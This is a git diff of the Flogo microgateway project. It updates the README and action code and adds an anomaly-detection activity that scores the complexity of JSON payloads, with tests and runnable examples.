diff --git a/README.md b/README.md index 35e6e68..8d9d52a 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,59 @@ # Microgateway Action -This is a microgateway action which supports the conditional evaluation of activities. The microgateway has one setting: 'uri' which is the URL of the microgateway JSON resource. +This is a microgateway action which supports the conditional evaluation of activities. The microgateway has one setting: 'uri' which is the URI of the microgateway JSON resource. -## Resource Schema +# Resource -The JSON Schema for the Microgateway resource can be found [here](https://github.com/project-flogo/microgateway/tree/master/internal/schema/schema.json). +## Schema + +The JSON Schema for the Microgateway resource can be found [here](internal/schema/schema.json). + +## Sections + +### Services + +A service defines a function or activity of some sort that will be utilized in a step within an execution flow. Services have names, refs, and settings. Any Flogo activity works as a service. Services that are specific to a microgateway can be found [here](activity). Services may call external endpoints like HTTP servers or may stay within the context of the gateway, like the [js](activity/js) activity. Once a service is defined it can be used as many times as needed within your routes and steps. + +### Steps + +Each microgateway is composed of a number of steps. Each step is evaluated in the order in which it is defined via an optional `if` condition. If the condition is `true`, that step is executed. If that condition is `false` the execution context moves onto the next step in the process and evaluates that one. A blank or omitted `if` condition always evaluates to `true`. + +A simple step looks like: + +```json +{ + "if": "$.payload.pathParams.petId == 9", + "service": "PetStorePets", + "input": { + "method": "GET", + "pathParams.id": "=$payload.pathParams.petId" + } +} +``` + +As you can see above, a step consists of a simple condition, a service reference, input parameters, and (not shown) output parameters. The `service` must map to a service defined in the `services` array that is defined in the microgateway resource. Input key and value pairs are translated and handed off to the service execution. Output key value pairs are translated and retained after the service has executed. Values starting with `=` are evaluated as variables within the context of the execution. An optional `halt` condition is supported for steps. When the `halt` condition is true the execution of the steps is halted. + +### Responses + +Each microgateway has an optional set of responses that can be evaluated and returned to the invoking trigger. Much like routes, the first response with an `if` condition evaluating to true is the response that gets executed and returned. A response contains an `if` condition, an `error` boolean, a `code` value, and a `data` object. The `error` boolean dictates whether or not an error should be returned to the engine. The `code` is the status code returned to the trigger. The `data` object is evaluated within the context of the execution and then sent back to the trigger as well. + +A simple response looks like: + +```json +{ + "if": "$.PetStorePets.outputs.result.status == 'available'", + "error": false, + "code": 200, + "data": { + "body.pet": "=$.PetStorePets.outputs.result", + "body.inventory": "=$.PetStoreInventory.outputs.result" + } +} +``` ## Example Flogo JSON Usage of a Microgateway Action -An example of a basic gateway can be found [here](https://github.com/project-flogo/microgateway/tree/master/examples/json/basic-gateway). +An example of a basic gateway can be found [here](examples/json/basic-gateway). ## Example Flogo API Usage of a Microgateway Action -An API example can be found [here](https://github.com/project-flogo/microgateway/tree/master/examples/api/basic-gateway). +An API example can be found [here](examples/api/basic-gateway). diff --git a/action.go b/action.go index 0bc96e8..13c3644 100644 --- a/action.go +++ b/action.go @@ -5,17 +5,20 @@ import ( "encoding/json" "errors" "fmt" + "os" + "strings" _ "github.com/project-flogo/contrib/function" "github.com/project-flogo/core/action" "github.com/project-flogo/core/activity" "github.com/project-flogo/core/app/resource" + "github.com/project-flogo/core/data" "github.com/project-flogo/core/data/expression" _ "github.com/project-flogo/core/data/expression/script" "github.com/project-flogo/core/data/mapper" "github.com/project-flogo/core/data/metadata" "github.com/project-flogo/core/data/resolve" - "github.com/project-flogo/core/support/logger" + logger "github.com/project-flogo/core/support/log" "github.com/project-flogo/microgateway/api" "github.com/project-flogo/microgateway/internal/core" _ "github.com/project-flogo/microgateway/internal/function" @@ -23,7 +26,7 @@ import ( "github.com/project-flogo/microgateway/internal/schema" ) -var log = logger.GetLogger("microgateway") +var log = logger.ChildLogger(logger.RootLogger(), "microgateway") // Action is the microgateway action type Action struct { @@ -68,6 +71,7 @@ type Factory struct { type initContext struct { settings map[string]interface{} + name string } func (i *initContext) Settings() map[string]interface{} { @@ -78,6 +82,10 @@ func (i *initContext) MapperFactory() mapper.Factory { return nil } +func (i *initContext) Logger() logger.Logger { + return logger.ChildLogger(log, i.name) +} + func (f *Factory) Initialize(ctx action.InitContext) error { f.Manager = ctx.ResourceManager() return nil @@ -126,6 +134,30 @@ func (f *Factory) New(config *action.Config) (action.Action, error) { return nil, errors.New("no definition found for microgateway") } + envFlags := make(map[string]string) + for _, e := range os.Environ() { + pair := strings.Split(e, "=") + envFlags[pair[0]] = pair[1] + } + executionContext := map[string]interface{}{ + "async": act.settings.Async, + "env": envFlags, + "conf": config.Settings, + } + scope := data.NewSimpleScope(executionContext, nil) + + expressionFactory := expression.NewFactory(resolve.GetBasicResolver()) + getExpression := func(value interface{}) (*core.Expr, error) { + if stringValue, ok := value.(string); ok && len(stringValue) > 0 && stringValue[0] == '=' { + expr, err := expressionFactory.NewExpr(stringValue[1:]) + if err != nil { + return nil, err + } + return core.NewExpr(stringValue, expr), nil + } + return core.NewExpr(fmt.Sprintf("%v", value), expression.NewLiteralExpr(value)), nil + } + services := make(map[string]*core.Service, len(actionData.Services)) for i := range actionData.Services { name := actionData.Services[i].Name @@ -133,15 +165,32 @@ func (f *Factory) New(config *action.Config) (action.Action, error) { return nil, fmt.Errorf("duplicate service name: %s", name) } + values := make(map[string]*core.Expr, len(actionData.Services[i].Settings)) + for key, value := range actionData.Services[i].Settings { + values[key], err = getExpression(value) + if err != nil { + log.Infof("expression parsing error: %s", value) + return nil, err + } + } + + settings, err := core.TranslateMappings(scope, values) + if err != nil { + return nil, err + } + if ref := actionData.Services[i].Ref; ref != "" { if factory := activity.GetFactory(ref); factory != nil { - actvt, err := factory(&initContext{settings: actionData.Services[i].Settings}) + actvt, err := factory(&initContext{ + settings: settings, + name: name, + }) if err != nil { return nil, err } services[name] = &core.Service{ Name: name, - Settings: actionData.Services[i].Settings, + Settings: settings, Activity: actvt, } continue @@ -152,13 +201,13 @@ func (f *Factory) New(config *action.Config) (action.Action, error) { } services[name] = &core.Service{ Name: name, - Settings: actionData.Services[i].Settings, + Settings: settings, Activity: actvt, } } else if handler := actionData.Services[i].Handler; handler != nil { services[name] = &core.Service{ Name: name, - Settings: actionData.Services[i].Settings, + Settings: settings, Activity: &core.Adapter{Handler: handler}, } } else { @@ -166,18 +215,6 @@ func (f *Factory) New(config *action.Config) (action.Action, error) { } } - expressionFactory := expression.NewFactory(resolve.GetBasicResolver()) - getExpression := func(value interface{}) (*core.Expr, error) { - if stringValue, ok := value.(string); ok && len(stringValue) > 0 && stringValue[0] == '=' { - expr, err := expressionFactory.NewExpr(stringValue[1:]) - if err != nil { - return nil, err - } - return core.NewExpr(stringValue, expr), nil - } - return core.NewExpr(fmt.Sprintf("%v", value), expression.NewLiteralExpr(value)), nil - } - steps, responses := actionData.Steps, actionData.Responses microgateway := core.Microgateway{ Name: actionData.Name, diff --git a/action_test.go b/action_test.go index c45f58d..0efdbfe 100644 --- a/action_test.go +++ b/action_test.go @@ -3,7 +3,9 @@ package microgateway import ( "context" "fmt" + "net/http" "testing" + "time" "github.com/project-flogo/contrib/activity/rest" coreactivity "github.com/project-flogo/core/activity" @@ -12,6 +14,12 @@ import ( "github.com/project-flogo/microgateway/internal/testing/activity" "github.com/project-flogo/microgateway/internal/testing/trigger" "github.com/stretchr/testify/assert" + + _ "github.com/project-flogo/contrib/activity/channel" + _ "github.com/project-flogo/contrib/activity/rest" + _ "github.com/project-flogo/microgateway/activity/circuitbreaker" + _ "github.com/project-flogo/microgateway/activity/jwt" + _ "github.com/project-flogo/microgateway/activity/ratelimiter" ) func TestMicrogateway(t *testing.T) { @@ -201,6 +209,97 @@ func TestMicrogatewayHandler(t *testing.T) { assert.False(t, defaultActionHit) } +type handler struct { + hit bool +} + +func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + h.hit = true + r.Body.Close() +} + +func TestMicrogatewayHttpPattern(t *testing.T) { + defer func() { + trigger.Reset() + activity.Reset() + }() + + testHandler := handler{} + s := &http.Server{ + Addr: ":1234", + Handler: &testHandler, + ReadTimeout: 10 * time.Second, + WriteTimeout: 10 * time.Second, + MaxHeaderBytes: 1 << 20, + } + go func() { + s.ListenAndServe() + }() + _, err := http.Get("http://localhost:1234/") + for err != nil { + _, err = http.Get("http://localhost:1234/") + } + defer s.Shutdown(context.Background()) + + app := api.NewApp() + + trg := app.NewTrigger(&trigger.Trigger{}, &trigger.Settings{ASetting: 1337}) + handler, err := trg.NewHandler(&trigger.HandlerSettings{}) + assert.Nil(t, err) + + action, err := handler.NewAction(&Action{}, map[string]interface{}{ + "pattern": "DefaultHttpPattern", + "useRateLimiter": false, + "useJWT": false, + "useCircuitBreaker": false, + "backendUrl": "http://localhost:1234/", + "rateLimit": "3-M", + }) + assert.Nil(t, err) + assert.NotNil(t, action) + + e, err := api.NewEngine(app) + assert.Nil(t, err) + e.Start() + defer e.Stop() + + result, err := trigger.Fire(0, map[string]interface{}{}) + assert.Nil(t, err) + assert.NotNil(t, result) + + assert.True(t, testHandler.hit) +} + +func TestMicrogatewayChannelPattern(t *testing.T) { + defer func() { + trigger.Reset() + activity.Reset() + }() + + app := api.NewApp() + + trg := app.NewTrigger(&trigger.Trigger{}, &trigger.Settings{ASetting: 1337}) + handler, err := trg.NewHandler(&trigger.HandlerSettings{}) + assert.Nil(t, err) + + action, err := handler.NewAction(&Action{}, map[string]interface{}{ + "pattern": "DefaultChannelPattern", + "useJWT": false, + "useCircuitBreaker": false, + }) + assert.Nil(t, err) + assert.NotNil(t, action) + + e, err := api.NewEngine(app) + assert.Nil(t, err) + e.Start() + defer e.Stop() + + result, err := trigger.Fire(0, map[string]interface{}{}) + assert.Nil(t, err) + assert.NotNil(t, result) +} + func BenchmarkMicrogateway(b *testing.B) { defer func() { trigger.Reset() diff --git a/activity/README.md b/activity/README.md index 3cdd5f3..6dbd916 100644 --- a/activity/README.md +++ b/activity/README.md @@ -1 +1,8 @@ Activities that are very specific to the operation of the Microgateway. + +* [anomaly](anomaly) is an anomaly detection engine +* [circuitbreaker](circuitbreaker) is a circuit breaker for protecting failed services +* [js](js) supports the execution of Javascript snippets +* [jwt](jwt) allows for JSON web token based authentication +* [ratelimiter](ratelimiter) is a rate limiter implementation +* [sqld](sqld) is a SQL injection attack detector diff --git a/activity/anomaly/README.md b/activity/anomaly/README.md new file mode 100644 index 0000000..ff71ec5 --- /dev/null +++ b/activity/anomaly/README.md @@ -0,0 +1,59 @@ +# Anomaly Detector + +The `anomaly` service type implements anomaly detection for payloads. The anomaly detection algorithm is based on a [statistical model](https://fgiesen.wordpress.com/2015/05/26/models-for-adaptive-arithmetic-coding/) for compression. The anomaly detection algorithm computes the relative [complexity](https://en.wikipedia.org/wiki/Kolmogorov_complexity), K(payload | previous payloads), of a payload and then updates the statistical model. A running mean and standard deviation of the complexity is then computed using [this](https://dev.to/nestedsoftware/calculating-standard-deviation-on-streaming-data-253l) algorithm. If the complexity of a payload is some number of deviations from the mean then it is an anomaly. An anomaly is a payload that is statistically significant relative to previous payloads. The anomaly detection algorithm uses real time learning, so what is considered an anomaly can change over time. + +The available service `settings` are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| depth | number | The size of the statistical model. Defaults to 2 | + +The available `inputs` for the request are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| payload | JSON object | A payload to do anomaly detection on | + +The available response `outputs` are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| complexity | number | How unusual the payload is in terms of standard deviations from the mean | +| count | number | The number of payloads that have been processed | + +A sample `service` definition is: + +```json +{ + "name": "Anomaly", + "description": "Look for anomalies", + "ref": "github.com/project-flogo/microgateway/activity/anomaly", + "settings": { + "depth": 3 + } +} +``` + +An example `step` that invokes the above `Anomaly` service using `payload` is: + +```json +{ + "service": "Anomaly", + "input": { + "payload": "=$.payload.content" + } +} +``` + +Utilizing the response values can be seen in a response handler: + +```json +{ + "if": "($.Anomaly.outputs.count < 100) || ($Anomaly.outputs.complexity < 3)", + "error": false, + "output": { + "code": 200, + "data": "=$.Update.outputs.result" + } +} +``` diff --git a/activity/anomaly/activity.go b/activity/anomaly/activity.go new file mode 100644 index 0000000..6180aed --- /dev/null +++ b/activity/anomaly/activity.go @@ -0,0 +1,278 @@ +package anomaly + +import ( + "encoding/json" + "math" + "math/bits" + "sync" + + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data/metadata" +) + +const ( + // CDF16Fixed is the shift for 16 bit coders + CDF16Fixed = 16 - 3 + // CDF16Scale is the scale for 16 bit coder + CDF16Scale = 1 << CDF16Fixed + // CDF16Rate is the damping factor for 16 bit coder + CDF16Rate = 5 + // CDF16Size is the size of the cdf + CDF16Size = 256 + // CDF16Depth is the depth of the context tree + CDF16Depth = 2 +) + +func init() { + activity.Register(&Activity{}, New) +} + +var ( + activityMetadata = activity.ToMetadata(&Settings{}, &Input{}, &Output{}) +) + +// Node16 is a context node +type Node16 struct { + Model []uint16 + Children map[uint16]*Node16 +} + +// NewNode16 creates a new context node +func NewNode16() *Node16 { + model, children, sum := make([]uint16, CDF16Size+1), make(map[uint16]*Node16), 0 + for i := range model { + model[i] = uint16(sum) + sum += 32 + } + return &Node16{ + Model: model, + Children: children, + } +} + +// CDF16 is a context based cumulative distributive function model +// https://fgiesen.wordpress.com/2015/05/26/models-for-adaptive-arithmetic-coding/ +type CDF16 struct { + Root *Node16 + Mixin [][]uint16 +} + +// NewCDF16 creates a new CDF16 with a given context depth +func NewCDF16() *CDF16 { + root, mixin := NewNode16(), make([][]uint16, CDF16Size) + + for i := range mixin { + sum, m := 0, make([]uint16, CDF16Size+1) + for j := range m { + m[j] = uint16(sum) + sum++ + if j == i { + sum += CDF16Scale - CDF16Size + } + } + mixin[i] = m + } + + return &CDF16{ + Root: root, + Mixin: mixin, + } +} + +// Context16 is a 16 bit context +type Context16 struct { + Context []uint16 + First int +} + +// NewContext16 creates a new context +func NewContext16(depth int) *Context16 { + return &Context16{ + Context: make([]uint16, depth), + } +} + +// ResetContext resets the context +func (c *Context16) ResetContext() { + c.First = 0 + for i := range c.Context { + c.Context[i] = 0 + } +} + +// AddContext adds a symbol to the context +func (c *Context16) AddContext(s uint16) { + context, first := c.Context, c.First + length := len(context) + if length > 0 { + context[first], c.First = s, (first+1)%length + } +} + +// Model gets the model for the current context +func (c *CDF16) Model(ctxt *Context16) []uint16 { + context := ctxt.Context + length := len(context) + var lookUp func(n *Node16, current, depth int) *Node16 + lookUp = func(n *Node16, current, depth int) *Node16 { + if depth >= length { + return n + } + + node := n.Children[context[current]] + if node == nil { + return n + } + child := lookUp(node, (current+1)%length, depth+1) + if child == nil { + return n + } + return child + } + + return lookUp(c.Root, ctxt.First, 0).Model +} + +// Update updates the model +func (c *CDF16) Update(s uint16, ctxt *Context16) { + context, first, mixin := ctxt.Context, ctxt.First, c.Mixin[s] + length := len(context) + var update func(n *Node16, current, depth int) + update = func(n *Node16, current, depth int) { + model := n.Model + size := len(model) - 1 + + for i := 1; i < size; i++ { + a, b := int(model[i]), int(mixin[i]) + model[i] = uint16(a + ((b - a) >> CDF16Rate)) + } + + if depth >= length { + return + } + + node := n.Children[context[current]] + if node == nil { + node = NewNode16() + n.Children[context[current]] = node + } + update(node, (current+1)%length, depth+1) + } + + update(c.Root, first, 0) + ctxt.AddContext(s) +} + +// Complexity is an entorpy based anomaly detector +type Complexity struct { + *CDF16 + depth int + count int + mean, dSquared float32 + sync.RWMutex +} + +// NewComplexity creates a new entorpy based model +func NewComplexity(depth int) *Complexity { + return &Complexity{ + CDF16: NewCDF16(), + depth: depth, + } +} + +// Complexity outputs the complexity +func (c *Complexity) Complexity(input []byte) (float32, int) { + var total uint64 + ctxt := NewContext16(c.depth) + c.RLock() + for _, s := range input { + model := c.Model(ctxt) + total += uint64(bits.Len16(model[s+1] - model[s])) + ctxt.AddContext(uint16(s)) + } + c.RUnlock() + + ctxt.ResetContext() + c.Lock() + for _, s := range input { + c.Update(uint16(s), ctxt) + } + + complexity := float32(CDF16Fixed+1) - (float32(total) / float32(len(input))) + // https://dev.to/nestedsoftware/calculating-standard-deviation-on-streaming-data-253l + c.count++ + count := c.count + mean, n := c.mean, float32(count) + meanDifferential := (complexity - mean) / n + newMean := mean + meanDifferential + dSquaredIncrement := (complexity - newMean) * (complexity - mean) + newDSquared := c.dSquared + dSquaredIncrement + c.mean, c.dSquared = newMean, newDSquared + c.Unlock() + + stddev := float32(math.Sqrt(float64(newDSquared / n))) + normalized := (complexity - newMean) / stddev + if normalized < 0 { + normalized = -normalized + } + if math.IsNaN(float64(normalized)) { + normalized = 0 + } + + return normalized, count +} + +// Activity is an anomaly detector +type Activity struct { + complexity *Complexity +} + +func New(ctx activity.InitContext) (activity.Activity, error) { + settings := Settings{ + Depth: CDF16Depth, + } + err := metadata.MapToStruct(ctx.Settings(), &settings, true) + if err != nil { + return nil, err + } + + logger := ctx.Logger() + logger.Debugf("Setting: %b", settings) + + act := &Activity{ + complexity: NewComplexity(settings.Depth), + } + + return act, nil +} + +// Metadata return the metadata for the activity +func (a *Activity) Metadata() *activity.Metadata { + return activityMetadata +} + +// Eval executes the activity +func (a *Activity) Eval(ctx activity.Context) (done bool, err error) { + input := Input{} + err = ctx.GetInputObject(&input) + if err != nil { + return false, err + } + + data, err := json.Marshal(input.Payload) + if err != nil { + return + } + complexity, count := a.complexity.Complexity(data) + + output := Output{ + Complexity: complexity, + Count: count, + } + err = ctx.SetOutputObject(&output) + if err != nil { + return false, err + } + + return true, nil +} diff --git a/activity/anomaly/activity_test.go b/activity/anomaly/activity_test.go new file mode 100644 index 0000000..4f0fd1f --- /dev/null +++ b/activity/anomaly/activity_test.go @@ -0,0 +1,202 @@ +package anomaly + +import ( + "encoding/json" + "math" + "math/rand" + "testing" + + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data" + "github.com/project-flogo/core/data/mapper" + "github.com/project-flogo/core/data/metadata" + logger "github.com/project-flogo/core/support/log" + "github.com/stretchr/testify/assert" +) + +var complexityTests = []string{`{ + "alfa": [ + {"alfa": "1"}, + {"bravo": "2"} + ], + "bravo": [ + {"alfa": "3"}, + {"bravo": "4"} + ] +}`, `{ + "a": [ + {"a": "aa"}, + {"b": "bb"} + ], + "b": [ + {"a": "aa"}, + {"b": "bb"} + ] +}`} + +func generateRandomJSON(rnd *rand.Rand) map[string]interface{} { + sample := func(stddev float64) int { + return int(math.Abs(rnd.NormFloat64()) * stddev) + } + sampleCount := func() int { + return sample(1) + 1 + } + sampleName := func() string { + const symbols = 'z' - 'a' + s := sample(8) + if s > symbols { + s = symbols + } + return string('a' + s) + } + sampleValue := func() string { + value := sampleName() + return value + value + } + sampleDepth := func() int { + return sample(3) + } + var generate func(hash map[string]interface{}, depth int) + generate = func(hash map[string]interface{}, depth int) { + count := sampleCount() + if depth > sampleDepth() { + for i := 0; i < count; i++ { + hash[sampleName()] = sampleValue() + } + return + } + for i := 0; i < count; i++ { + array := make([]interface{}, sampleCount()) + for j := range array { + sub := make(map[string]interface{}) + generate(sub, depth+1) + array[j] = sub + } + hash[sampleName()] = array + } + } + object := make(map[string]interface{}) + generate(object, 0) + return object +} + +type initContext struct { + settings map[string]interface{} +} + +func newInitContext(values map[string]interface{}) *initContext { + if values == nil { + values = make(map[string]interface{}) + } + return &initContext{ + settings: values, + } +} + +func (i *initContext) Settings() map[string]interface{} { + return i.settings +} + +func (i *initContext) MapperFactory() mapper.Factory { + return nil +} + +func (i *initContext) Logger() logger.Logger { + return logger.RootLogger() +} + +type activityContext struct { + input map[string]interface{} + output map[string]interface{} +} + +func newActivityContext(values map[string]interface{}) *activityContext { + if values == nil { + values = make(map[string]interface{}) + } + return &activityContext{ + input: values, + output: make(map[string]interface{}), + } +} + +func (a *activityContext) ActivityHost() activity.Host { + return a +} + +func (a *activityContext) Name() string { + return "test" +} + +func (a *activityContext) GetInput(name string) interface{} { + return a.input[name] +} + +func (a *activityContext) SetOutput(name string, value interface{}) error { + a.output[name] = value + return nil +} + +func (a *activityContext) GetInputObject(input data.StructValue) error { + return input.FromMap(a.input) +} + +func (a *activityContext) SetOutputObject(output data.StructValue) error { + a.output = output.ToMap() + return nil +} + +func (a *activityContext) GetSharedTempData() map[string]interface{} { + return nil +} + +func (a *activityContext) ID() string { + return "test" +} + +func (a *activityContext) IOMetadata() *metadata.IOMetadata { + return nil +} + +func (a *activityContext) Reply(replyData map[string]interface{}, err error) { + +} + +func (a *activityContext) Return(returnData map[string]interface{}, err error) { + +} + +func (a *activityContext) Scope() data.Scope { + return nil +} + +func (a *activityContext) Logger() logger.Logger { + return logger.RootLogger() +} + +func TestActivity(t *testing.T) { + activity, err := New(newInitContext(nil)) + assert.Nil(t, err) + + eval := func(data []byte) float32 { + var payload interface{} + err := json.Unmarshal(data, &payload) + assert.Nil(t, err) + ctx := newActivityContext(map[string]interface{}{"payload": payload}) + _, err = activity.Eval(ctx) + assert.Nil(t, err) + return ctx.output["complexity"].(float32) + } + + rnd := rand.New(rand.NewSource(1)) + for i := 0; i < 1024; i++ { + data, err := json.Marshal(generateRandomJSON(rnd)) + assert.Nil(t, err) + eval(data) + } + a := eval([]byte(complexityTests[0])) + b := eval([]byte(complexityTests[1])) + assert.Condition(t, func() (success bool) { + return a > b + }, "complexity sanity check failed") +} diff --git a/activity/anomaly/examples/api/README.md b/activity/anomaly/examples/api/README.md new file mode 100644 index 0000000..31f1007 --- /dev/null +++ b/activity/anomaly/examples/api/README.md @@ -0,0 +1,53 @@ +# Gateway with anomaly detection +This recipe is a gateway with anomaly detection using real time learning. + +## Description +The anomaly detection algorithm in this recipe is based on a [statistical model](https://fgiesen.wordpress.com/2015/05/26/models-for-adaptive-arithmetic-coding/) for compression. The anomaly detection algorithm computes the relative [complexity](https://en.wikipedia.org/wiki/Kolmogorov_complexity), K(payload | previous payloads), of a payload and then updates the statistical model. A running mean and standard deviation of the complexity is then computed using [this](https://dev.to/nestedsoftware/calculating-standard-deviation-on-streaming-data-253l) algorithm. If the complexity of a payload is some number of deviations from the mean then it is an anomaly. An anomaly is a payload that is statistically significant relative to previous payloads. The anomaly detection algorithm uses real time learning, so what is considered an anomaly can change over time. In the below scenario the Mashling is fed 1024 payloads to initialize the statistical model. A payload that is engineered to be an anomaly relative to the previous payloads is then fed into the Mashling. + +## Installation +* Install [Go](https://golang.org/) + +## Setup +``` +git clone https://github.com/project-flogo/microgateway/activity/anomaly +cd microgateway/activity/anomaly +``` + +## Testing +Start the gateway: +``` +go run main.go +``` +and test below scenario. + +### Payload that is an anomaly +Start an echo server for the Mashling to talk to by running the following command: +``` +go run support/main.go -server +``` + +Initialize the statistical model by opening a new terminal and running: +``` +go run support/main.go -client +``` + +You should see the following: +``` +number of anomalies 0 +average complexity NaN +``` +A 1024 payloads have been fed into the anomaly detection service, and zero anomalies have been found. If some anomalies had been found the average complexity would be a valid number. + +Now run the following to feed one more payload into the anomaly detection service: +``` +curl http://localhost:9096/test --upload-file anomaly-payload.json +``` + +You should see the following response: +```json +{ + "complexity": 9.124694, + "error": "anomaly!" +} +``` +The complexity is 9.124694 standard deviations from the mean. Because this is greater than the 3 standard deviation threshold the payload is considered an anomaly. In this scenario the standard deviation threshold was increased until only a small number of anomalies were detected. diff --git a/activity/anomaly/examples/api/anomaly-payload.json b/activity/anomaly/examples/api/anomaly-payload.json new file mode 100644 index 0000000..e02dd36 --- /dev/null +++ b/activity/anomaly/examples/api/anomaly-payload.json @@ -0,0 +1,10 @@ +{ + "alfa": [ + {"alfa": "1"}, + {"bravo": "2"} + ], + "bravo": [ + {"alfa": "3"}, + {"bravo": "4"} + ] +} diff --git a/activity/anomaly/examples/api/main.go b/activity/anomaly/examples/api/main.go new file mode 100644 index 0000000..704f9ca --- /dev/null +++ b/activity/anomaly/examples/api/main.go @@ -0,0 +1,67 @@ +package main + +import ( + "github.com/project-flogo/contrib/activity/rest" + trigger "github.com/project-flogo/contrib/trigger/rest" + "github.com/project-flogo/core/api" + "github.com/project-flogo/core/engine" + "github.com/project-flogo/microgateway" + "github.com/project-flogo/microgateway/activity/anomaly" + microapi "github.com/project-flogo/microgateway/api" +) + +func main() { + app := api.NewApp() + + gateway := microapi.New("Test") + serviceAnomaly := gateway.NewService("Anomaly", &anomaly.Activity{}) + serviceAnomaly.SetDescription("Look for anomalies") + serviceAnomaly.AddSetting("depth", 3) + + serviceUpdate := gateway.NewService("Update", &rest.Activity{}) + serviceUpdate.SetDescription("Make calls to test") + serviceUpdate.AddSetting("uri", "http://localhost:1234/test") + serviceUpdate.AddSetting("method", "PUT") + + step := gateway.NewStep(serviceAnomaly) + step.AddInput("payload", "=$.payload.content") + step = gateway.NewStep(serviceUpdate) + step.SetIf("($.Anomaly.outputs.count < 100) || ($.Anomaly.outputs.complexity < 3)") + step.AddInput("content", "=$.payload.content") + + response := gateway.NewResponse(false) + response.SetIf("($.Anomaly.outputs.count < 100) || ($.Anomaly.outputs.complexity < 3)") + response.SetCode(200) + response.SetData("=$.Update.outputs.result") + response = gateway.NewResponse(true) + response.SetCode(403) + response.SetData(map[string]interface{}{ + "error": "anomaly!", + "complexity": "=$.Anomaly.outputs.complexity", + }) + + settings, err := gateway.AddResource(app) + if err != nil { + panic(err) + } + + trg := app.NewTrigger(&trigger.Trigger{}, &trigger.Settings{Port: 9096}) + handler, err := trg.NewHandler(&trigger.HandlerSettings{ + Method: "PUT", + Path: "/test", + }) + if err != nil { + panic(err) + } + + _, err = handler.NewAction(µgateway.Action{}, settings) + if err != nil { + panic(err) + } + + e, err := api.NewEngine(app) + if err != nil { + panic(err) + } + engine.RunEngine(e) +} diff --git a/activity/anomaly/examples/api/support/main.go b/activity/anomaly/examples/api/support/main.go new file mode 100644 index 0000000..4e03c76 --- /dev/null +++ b/activity/anomaly/examples/api/support/main.go @@ -0,0 +1,132 @@ +package main + +import ( + "bytes" + "encoding/json" + "flag" + "fmt" + "html" + "io/ioutil" + "math" + "math/rand" + "net/http" +) + +func generateRandomJSON(rnd *rand.Rand) map[string]interface{} { + sample := func(stddev float64) int { + return int(math.Abs(rnd.NormFloat64()) * stddev) + } + sampleCount := func() int { + return sample(1) + 1 + } + sampleName := func() string { + const symbols = 'z' - 'a' + s := sample(8) + if s > symbols { + s = symbols + } + return string('a' + s) + } + sampleValue := func() string { + value := sampleName() + return value + value + } + sampleDepth := func() int { + return sample(3) + } + var generate func(hash map[string]interface{}, depth int) + generate = func(hash map[string]interface{}, depth int) { + count := sampleCount() + if depth > sampleDepth() { + for i := 0; i < count; i++ { + hash[sampleName()] = sampleValue() + } + return + } + for i := 0; i < count; i++ { + array := make([]interface{}, sampleCount()) + for j := range array { + sub := make(map[string]interface{}) + generate(sub, depth+1) + array[j] = sub + } + hash[sampleName()] = array + } + } + object := make(map[string]interface{}) + generate(object, 0) + return object +} + +var ( + server = flag.Bool("server", false, "run the test server") + client = flag.Bool("client", false, "run the test client") +) + +// Response is a reply form the server +type Response struct { + Error string `json:"error"` + Complexity float64 `json:"complexity"` +} + +func main() { + flag.Parse() + + if *client { + count, sum := 0, 0.0 + rnd := rand.New(rand.NewSource(1)) + client := &http.Client{} + for i := 0; i < 1024; i++ { + data, err := json.Marshal(generateRandomJSON(rnd)) + if err != nil { + panic(err) + } + req, err := http.NewRequest(http.MethodPut, "http://localhost:9096/test", bytes.NewReader(data)) + if err != nil { + panic(err) + } + response, err := client.Do(req) + if err != nil { + panic(err) + } + body, err := ioutil.ReadAll(response.Body) + if err != nil { + panic(err) + } + response.Body.Close() + rsp := Response{} + fmt.Println("body", string(body)) + err = json.Unmarshal(body, &rsp) + if err != nil { + panic(err) + } + if rsp.Error == "anomaly!" { + count++ + } + sum += rsp.Complexity + } + fmt.Println("number of anomalies", count) + fmt.Println("average complexity", sum/float64(count)) + } + + if *server { + http.HandleFunc("/test", func(w http.ResponseWriter, r *http.Request) { + fmt.Printf("url: %q\n", html.EscapeString(r.URL.Path)) + defer r.Body.Close() + body, err := ioutil.ReadAll(r.Body) + if err != nil { + panic(err) + } + fmt.Println(string(body)) + _, err = w.Write(body) + if err != nil { + panic(err) + } + }) + + err := http.ListenAndServe(":1234", nil) + if err != nil { + panic(err) + } + } +} diff --git a/activity/anomaly/examples/json/README.md b/activity/anomaly/examples/json/README.md new file mode 100644 index 0000000..dc75b38 --- /dev/null +++ b/activity/anomaly/examples/json/README.md @@ -0,0 +1,61 @@ +# Gateway with anomaly detection +This recipe is a gateway with anomaly detection using real time learning. + +## Description +The anomaly detection algorithm in this recipe is based on a [statistical model](https://fgiesen.wordpress.com/2015/05/26/models-for-adaptive-arithmetic-coding/) for compression. The anomaly detection algorithm computes the relative [complexity](https://en.wikipedia.org/wiki/Kolmogorov_complexity), K(payload | previous payloads), of a payload and then updates the statistical model. A running mean and standard deviation of the complexity is then computed using [this](https://dev.to/nestedsoftware/calculating-standard-deviation-on-streaming-data-253l) algorithm. If the complexity of a payload is some number of deviations from the mean then it is an anomaly. An anomaly is a payload that is statistically significant relative to previous payloads. The anomaly detection algorithm uses real time learning, so what is considered an anomaly can change over time. In the below scenario the Mashling is fed 1024 payloads to initialize the statistical model. A payload that is engineered to be an anomaly relative to the previous payloads is then fed into the Mashling. + +## Installation +* Install [Go](https://golang.org/) +* Install the flogo [cli](https://github.com/project-flogo/cli) + +## Setup +``` +git clone https://github.com/project-flogo/microgateway/activity/anomaly +cd microgateway/activity/anomaly +``` + +## Testing +Create the gateway: +``` +flogo create -f flogo.json +cd MyProxy +flogo build +``` + +Start the gateway: +``` +bin/MyProxy +``` +and test below scenario. + +### Payload that is an anomaly +Start an echo server for the Mashling to talk to by running the following command: +``` +go run support/main.go -server +``` + +Initialize the statistical model by opening a new terminal and running: +``` +go run support/main.go -client +``` + +You should see the following: +``` +number of anomalies 0 +average complexity NaN +``` +A 1024 payloads have been fed into the anomaly detection service, and zero anomalies have been found. If some anomalies had been found the average complexity would be a valid number. + +Now run the following to feed one more payload into the anomaly detection service: +``` +curl http://localhost:9096/test --upload-file anomaly-payload.json +``` 